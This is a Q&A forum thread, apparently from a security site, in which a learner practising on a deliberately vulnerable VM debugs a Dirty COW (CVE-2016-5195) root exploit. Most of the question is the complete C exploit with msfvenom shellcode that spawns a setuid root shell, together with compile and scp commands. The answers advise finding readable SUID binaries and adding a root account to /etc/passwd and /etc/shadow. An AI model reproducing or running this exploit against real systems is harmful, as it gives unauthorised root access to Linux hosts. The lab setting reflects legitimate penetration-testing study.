3

I am trying to learn Penetration testing. While learning I was trying to practice on my own as well. I had found a vulnerable image called ICE 120 in internet which is a vulnerable web application and was able to get usernames and hashes for the system after exploiting sql injection.

Now while I had logged into that system with a non privileged user, I was trying to escalate the privilege using dirtycow vulnerability CVE-2016-5195.

Please find the below information about the kernel and a sample code I was using from github, but it seems that it is not working. As I am novice I would really appreciate your guidance to understand whether I am doing something wrong or the kernel is not exploitable at all. Please note I am using virtual machine image to practice this.

Victim Kernel:

/home/jdavenport >>uname -a
Linux slax 2.6.27.27 #1 SMP Wed Jul 22 07:27:34 AKDT 2009 i686 Intel(R) Core(TM) i7-3630QM CPU @ 2.40GHz GenuineIntel GNU/Linux
/home/jdavenport >>

I am using the below code from github (I have tried few other variance from github which use the same concept of dirtycow). I have compiled this code actually in Kali machine (another VM in my test lab as an attacker machine) using "gcc -o cowroot cowroot.c -m32 -pthread" as the victim machine was throwing some compilation error for "invalid type of structure". Then I have used scp to transfer the binary of the code to my victim machine.

scp cowroot jdavenport@192.168.1.120:/home/jdavenport/cowroot1

For your information my Kali Kernel is as follows

Linux kali 4.8.0-kali2-amd64 #1 SMP Debian 4.8.15-1kali1 (2016-12-23) x86_64 GNU/Linux.

Dirtycow code I have used is as follows:

/*
* (un)comment correct payload first (x86 or x64)!
* 
* $ gcc cowroot.c -o cowroot -pthread
* $ ./cowroot
* DirtyCow root privilege escalation
* Backing up /usr/bin/passwd.. to /tmp/bak
* Size of binary: 57048
* Racing, this may take a while..
* /usr/bin/passwd overwritten
* Popping root shell.
* Don't forget to restore /tmp/bak
* thread stopped
* thread stopped
* root@box:/root/cow# id
* uid=0(root) gid=1000(foo) groups=1000(foo)
*
* @robinverton 
*/

#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <string.h>
#include <unistd.h>

void *map;
int f;
int stop = 0;
struct stat st;
char *name;
pthread_t pth1,pth2,pth3;

// change if no permissions to read
char suid_binary[] = "/etc/passwd";

/*
* msfvenom -p linux/x64/exec CMD="echo '0' > /proc/sys/vm/dirty_writeback_centisecs;/bin/bash" PrependSetuid=True -f elf | xxd -i

unsigned char sc[] = {
  0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
  0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
  0xe3, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4e, 0x01, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x48, 0x31, 0xff, 0x6a, 0x69, 0x58, 0x0f, 0x05, 0x6a, 0x3b, 0x58, 0x99,
  0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x53, 0x48,
  0x89, 0xe7, 0x68, 0x2d, 0x63, 0x00, 0x00, 0x48, 0x89, 0xe6, 0x52, 0xe8,
  0x3c, 0x00, 0x00, 0x00, 0x65, 0x63, 0x68, 0x6f, 0x20, 0x27, 0x30, 0x27,
  0x20, 0x3e, 0x20, 0x2f, 0x70, 0x72, 0x6f, 0x63, 0x2f, 0x73, 0x79, 0x73,
  0x2f, 0x76, 0x6d, 0x2f, 0x64, 0x69, 0x72, 0x74, 0x79, 0x5f, 0x77, 0x72,
  0x69, 0x74, 0x65, 0x62, 0x61, 0x63, 0x6b, 0x5f, 0x63, 0x65, 0x6e, 0x74,
  0x69, 0x73, 0x65, 0x63, 0x73, 0x3b, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62,
  0x61, 0x73, 0x68, 0x00, 0x56, 0x57, 0x48, 0x89, 0xe6, 0x0f, 0x05
};
unsigned int sc_len = 227;
*/

/*
* msfvenom -p linux/x86/exec CMD="echo '0' > /proc/sys/vm/dirty_writeback_centisecs;/bin/bash" PrependSetuid=True -f elf | xxd -i
*/
unsigned char sc[] = {
  0x7f, 0x45, 0x4c, 0x46, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00,
  0x54, 0x80, 0x04, 0x08, 0x34, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x34, 0x00, 0x20, 0x00, 0x01, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x80, 0x04, 0x08, 0x00, 0x80, 0x04, 0x08, 0xba, 0x00, 0x00, 0x00,
  0x20, 0x01, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00,
  0x31, 0xdb, 0x6a, 0x17, 0x58, 0xcd, 0x80, 0x6a, 0x0b, 0x58, 0x99, 0x52,
  0x66, 0x68, 0x2d, 0x63, 0x89, 0xe7, 0x68, 0x2f, 0x73, 0x68, 0x00, 0x68,
  0x2f, 0x62, 0x69, 0x6e, 0x89, 0xe3, 0x52, 0xe8, 0x3c, 0x00, 0x00, 0x00,
  0x65, 0x63, 0x68, 0x6f, 0x20, 0x27, 0x30, 0x27, 0x20, 0x3e, 0x20, 0x2f,
  0x70, 0x72, 0x6f, 0x63, 0x2f, 0x73, 0x79, 0x73, 0x2f, 0x76, 0x6d, 0x2f,
  0x64, 0x69, 0x72, 0x74, 0x79, 0x5f, 0x77, 0x72, 0x69, 0x74, 0x65, 0x62,
  0x61, 0x63, 0x6b, 0x5f, 0x63, 0x65, 0x6e, 0x74, 0x69, 0x73, 0x65, 0x63,
  0x73, 0x3b, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73, 0x68, 0x00,
  0x57, 0x53, 0x89, 0xe1, 0xcd, 0x80
};
unsigned int sc_len = 186;


void *madviseThread(void *arg)
{
    char *str;
    str=(char*)arg;
    int i,c=0;
    for(i=0;i<1000000 && !stop;i++) {
        c+=madvise(map,100,MADV_DONTNEED);
    }
    printf("thread stopped\n");
}

void *procselfmemThread(void *arg)
{
    char *str;
    str=(char*)arg;
    int f=open("/proc/self/mem",O_RDWR);
    int i,c=0;
    for(i=0;i<1000000 && !stop;i++) {
        lseek(f,map,SEEK_SET);
        c+=write(f, str, sc_len);
    }
    printf("thread stopped\n");
}

void *waitForWrite(void *arg) {
    char buf[sc_len];

    for(;;) {
        FILE *fp = fopen(suid_binary, "rb");

        fread(buf, sc_len, 1, fp);

        if(memcmp(buf, sc, sc_len) == 0) {
            printf("%s overwritten\n", suid_binary);
            break;
        }

        fclose(fp);
        sleep(1);
    }

    stop = 1;

    printf("Popping root shell.\n");
    printf("Don't forget to restore /tmp/bak\n");

    system(suid_binary);
}

int main(int argc,char *argv[]) {
    char *backup;

    printf("DirtyCow root privilege escalation\n");
    printf("Backing up %s to /tmp/bak\n", suid_binary);

    asprintf(&backup, "cp %s /tmp/bak", suid_binary);
    system(backup);

    f = open(suid_binary,O_RDONLY);
    fstat(f,&st);

    printf("Size of binary: %d\n", st.st_size);

    char payload[st.st_size];
    memset(payload, 0x90, st.st_size);
    memcpy(payload, sc, sc_len+1);

    map = mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);

    printf("Racing, this may take a while..\n");

    pthread_create(&pth1, NULL, &madviseThread, suid_binary);
    pthread_create(&pth2, NULL, &procselfmemThread, payload);
    pthread_create(&pth3, NULL, &waitForWrite, NULL);

    pthread_join(pth3, NULL);

    return 0;
}

After running the code it simply gets completed without popping up new shell or anything.

/home/jdavenport >>./cowroot1 
DirtyCow root privilege escalation
Backing up /etc/passwd to /tmp/bak
Size of binary: 3372
Racing, this may take a while..
thread stopped
thread stopped

* Update 08/04/2017* As advised by Josh I have now modified the cowroot c program with correct SUID binary which has read permission to non-privileged user as well.

jdavenport@slax:/usr/bin$ ls -lrt kcheckpass
-rwsr-xr-x 1 root root 10104 Oct 26  2008 kcheckpass*

Still I am not able to exploit the vulnerability. In my mind there could be couple of reasons -

  • Kernel is not vulnerable

My argument is that the kernel version shows it should be vulnerable

jdavenport@slax:/usr/bin$ uname -a
Linux slax 2.6.27.27 #1 SMP Wed Jul 22 07:27:34 AKDT 2009 i686 Intel(R) Core(TM) i7-3630QM CPU @ 2.40GHz GenuineIntel GNU/Linux
jdavenport@slax:/usr/bin$ 

- The exploit code is not working as expected.

  • I think I may have found a reason and it is related to threading.

  • I have read the concept of dirty copy on write exploit and it seems that it is fully dependent on race condition due to two simultaneous threads trying to work (madvise and private write) on the file.

  • I have modified the C program to print within the threads and redirected that to a log file for later analysis. An excerpt is as follows:

    void *madviseThread(void *arg) { char str; str=(char)arg; int i,c=0; for(i=0;i<10000000 && !stop;i++) { c+=madvise(map,100,MADV_DONTNEED); printf("t1 => %d\n",c); } printf("thread stopped\n"); }

    void *procselfmemThread(void *arg) { char str; str=(char)arg; int f=open("/proc/self/mem",O_RDWR); int i,c=0; for(i=0;i<10000000 && !stop;i++) { lseek(f,map,SEEK_SET); c+=write(f, str, sc_len); printf("t2 => %d\n",c); } printf("thread stopped\n"); }

    - While analyzing the logs it seems threads are working in a clustered way e.g. bunch of execution of thread 1 and then bunch of execution of thread 2. An example - while counting the 1st occurrence of thread 2 is found after 35142 lines

    root@kali:~# grep -n "t2 => -1" cowlog.txt | head -10

    35413:t2 => -1 35422:t2 => -10 35423:t2 => -11 35424:t2 => -12 35425:t2 => -13 35426:t2 => -14 35427:t2 => -15 35428:t2 => -16 35429:t2 => -17 35430:t2 => -18

  • My GCC version from where I have compiled the code is as follows

    root@kali:~# gcc --version

    gcc (Debian 6.3.0-11) 6.3.0 20170321 Copyright (C) 2016 Free Software Foundation, Inc. This is free software; see the source for copying conditions. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

    root@kali:~#

And I have compiled my program using the below

gcc -o cowroot cowroot.c -m32 -pthread

Your expert advise would be much appreciated.

3 Answers3

4

The suid binary should be the passwd binary, not your passwd file. Type "which passwd" and set your suid_binary character array to the full path of passwd.

Josh Gimer
  • 41
  • 1
  • Thanks Josh.I have now understood that. But I have faced another problem now, it seems that the victim machine doesn't have enough permission on that binary jdavenport@slax:~$ cd /usr/bin jdavenport@slax:/usr/bin$ ls -lrt passwd -rws--x--x 1 root root 34844 Mar 24 2008 passwd* jdavenport@slax:/usr/bin$ which paswd which: no paswd in (/usr/local/bin:/usr/bin:/bin:/usr/games:/usr/lib/qt/bin:.) jdavenport@slax:/usr/bin$ which passwd /usr/bin/passwd jdavenport@slax:/usr/bin$ – Sourish Banerjee Apr 08 '17 at 12:18
  • Find another suid root binary on the system in which you do have read privileges. find / -user root -perm -4000 – Josh Gimer Apr 08 '17 at 16:04
  • Hi Josh, Thanks for your update. I have found a SUID program now. But still I am facing the same issue, not able to race my kernel running the threads. Would you be able to advise on this, I have updated my original question section with the latest updates. – Sourish Banerjee Apr 08 '17 at 22:50
1

Have you tried any of the other dirtycow variants? If you think the problem lies with the poc you could potentially rule this out by trying other poc's that are exploiting the same vuln. Don't need to spawn a shell to become root, you could always append a new user account to /etc/passwd and /etc/shadow.

Joshua Gimer
  • 290
  • 1
  • 5
0

Thanks for your guidance, I have at last successfully exploited the vulnerability in my target machine.

I have used other ways(POC) of exploiting the same vulnerability from the below github link

https://gist.github.com/KrE80r/42f8629577db95782d5e4f609f437a54 

I have changed the SUID Binary filename and the un-commented 32 bit shellcode accordingly.

And after compiling it with -m32 flag (because my target was 32 bit) and my attacker machine was 64 bit machine.

However I am still not clear why my earlier attempts failed, I will investigate it once I learn more about this subject.

Till then I'll assume that I have found the solution (one way or another), thanks for your quick tips and guidance.

Regards, Sourish